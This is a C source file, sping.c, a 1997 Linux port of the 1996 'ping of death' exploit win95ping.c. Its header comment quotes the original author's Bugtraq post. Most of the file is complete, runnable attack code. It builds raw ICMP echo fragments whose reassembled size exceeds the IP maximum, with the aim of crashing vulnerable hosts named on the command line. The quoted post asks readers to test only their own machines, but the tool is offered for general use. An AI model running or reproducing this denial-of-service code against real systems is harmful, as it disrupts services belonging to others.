/* sping.c (aka win95ping.c ported to linux)
   6.20.97
   compile: gcc -DREALLY_RAW -DLINUX -o sping.c sping.c

there's a linux binary travelling around, called sping, that everyone
seems to want the source to. well, it's just win95ping.c ported to
linux... and the packet size was dropped from 1500 (1480 data + 20 ip
header) to 400 (380 data + 20 ip header). first, i dont understand
why people are anal tightwads about sourcecode. second, anyone think
of using tcpdump to figure out wtf sping did?! esh... anyway, for
those of you who wanted the code.. here is the linux port of win95ping.c,
sping.c. if you search like the august to december of 1996 bugtraq
archive, you will find the threads about win95ping.c.

-nimrood

----[some whirreds by bill 'bout win95ping.c]-----
                         Ping exploit program
                                                    
   Bill Fenner (fenner@FREEFALL.FREEBSD.ORG)
   Tue, 22 Oct 1996 21:44:25 -0700
   
     * Messages sorted by: [ date ][ thread ][ subject ][ author ]
     * Next message: Kim Alm: "Re: Urgent !! Serious Linux Security Bug...."
     * Previous message: Jon Lewis: "Re: Urgent !! Serious Linux Security Bug...."
     * Next in thread: Darren Reed: "Re: BoS: Ping exploit program"
       
Since some people don't necessarily have Windows '95 boxes lying around,
I wrote the following exploit program.  It requires a raw socket layer
that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out.
It works fine on 4.4BSD systems.  It should work on Linux if you compile
with -DREALLY_RAW.

Feel free to do with this what you want.  Please use this tool only to test
your own machines, and not to crash others'.  Mike, would you put it up on
your web page?

  Bill

  Simulate the evil win95 "ping -l 65510 buggyhost".
  version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
 
  This requires raw sockets that don't mess with the packet at all (other
  than adding the checksum).  That means that SunOS, Solaris, and
  BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
  OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
  system to try it on.

----[EOF bill's whirreds on win95ping.c]----

*/

#include <stdio.h>
#ifdef LINUX	/* dont ask me why i did this, i was baked ;p */
#include "include/sys/types.h"
#include "include/sys/socket.h"
#include "include/netdb.h"
#include "include/netinet/in.h"
#include "include/netinet/in_systm.h"
#include "include/netinet/ip.h"
#include "include/netinet/ip_icmp.h"
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#endif

/*
 * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
 * This is probably only Linux.
 */
#ifdef REALLY_RAW
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

int
main(int argc, char **argv)
{
        int s;
        char buf[400];
        struct ip *ip = (struct ip *)buf;

#ifdef LINUX
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
#else
struct icmp *icmp = (struct icmp *)(ip+1);
#endif

        struct hostent *hp;
        struct sockaddr_in dst;
        int offset;
        int on = 1;

        printf("linux port -nimrood 6.20.97\n");
        bzero(buf, sizeof buf);
#ifdef LINUX
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
#else
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
#endif
                perror("socket");
                exit(1);
        }
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                perror("IP_HDRINCL");
                exit(1);
        }
        if (argc != 2) {
                fprintf(stderr, "usage: %s hostname\n", argv[0]);
                exit(1);
        }
        if ((hp = gethostbyname(argv[1])) == NULL) {
                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                        fprintf(stderr, "%s: unknown host\n", argv[1]);
                }
        } else {
                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
        }
        printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
        ip->ip_v = 4;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_tos = 0;
        ip->ip_len = FIX(sizeof buf);
        ip->ip_id = htons(4321);
        ip->ip_off = FIX(0);
        ip->ip_ttl = 255;
        ip->ip_p = 1;
#ifdef LINUX
ip->ip_csum = 0;
#else
ip->ip_sum = 0;                 /* kernel fills in */
#endif
        ip->ip_src.s_addr = 0;          /* kernel fills in */

        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
#ifdef LINUX
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
#else
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
#endif
                /* the checksum of all 0's is easy to compute */

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
                ip->ip_off = FIX(offset >> 3);
                if (offset < 65120)
                        ip->ip_off |= FIX(IP_MF);
                else
                        ip->ip_len = FIX(418);  /* make total 65538 */
                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                        sizeof dst) < 0) {
                        fprintf(stderr, "offset %d: ", offset);
                        perror("sendto");
                }
                if (offset == 0) {
#ifdef LINUX
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
#else
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
#endif
                }
        }
}
